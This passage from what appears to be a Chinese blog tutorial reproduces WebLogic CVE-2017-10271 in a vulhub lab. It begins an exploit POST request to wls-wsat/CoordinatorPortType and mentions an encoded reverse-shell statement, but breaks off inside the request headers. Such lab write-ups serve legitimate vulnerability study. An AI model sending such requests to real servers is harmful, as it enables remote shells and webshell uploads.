Weblogic XMLDecoder反序列化漏洞(CVE-2017-10271）

最新推荐文章于 2025-06-13 10:16:03 发布

原创

最新推荐文章于 2025-06-13 10:16:03 发布 · 2.6k 阅读

4 ·

CC 4.0 BY-SA版权

文章标签：

#weblogic' #反序列化漏洞 #weblogic反序列化漏洞 #cve #XML

本文详细介绍了Weblogic XMLDecoder反序列化漏洞CVE-2017-10271，该漏洞存在于WLS-WebServices组件中，允许攻击者通过构造XML数据来触发漏洞，实现如上传webshell等操作。受影响的版本包括10.3.6.0.0, 12.2.1.1.0, 12.2.1.2.0和12.1.3.0.0。漏洞的复现可以通过访问wls-wsat/CoordinatorPortType路径进行初步判断，并利用特定的XML payload进行利用。修复措施包括安装最新补丁和删除wls-wsat组件。" 126314709,10382000,OpenStack部署故障排除与配置指南,"['openstack', 'Linux', '服务器运维', '云计算']

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Weblogic XMLDecoder反序列化漏洞(CVE-2017-10271）

漏洞概述:

-该漏洞产生于WLS-WebServices这个核心组件中，因为它使用XMLDecoder来解析XML数据，直接构造payload，发送xml数据，即可利用该漏洞，上传webshell等等。

漏洞版本：

10.3.6.0.0，12.2.1.1.0，12.2.1.2.0，12.1.3.0.0

漏洞搭建：

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271

漏洞复现：

首先进行初步判断，看是否存在该页面，wls-wsat/CoordinatorPortType

payload(发送数据xml时，反弹shell语句，要进行编码。)

POST /wls-wsat/CoordinatorPortType HTTP/1.1

Host: 172.17.0.1:7001

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/hAccept-Encoding: gzip, deflate

Accep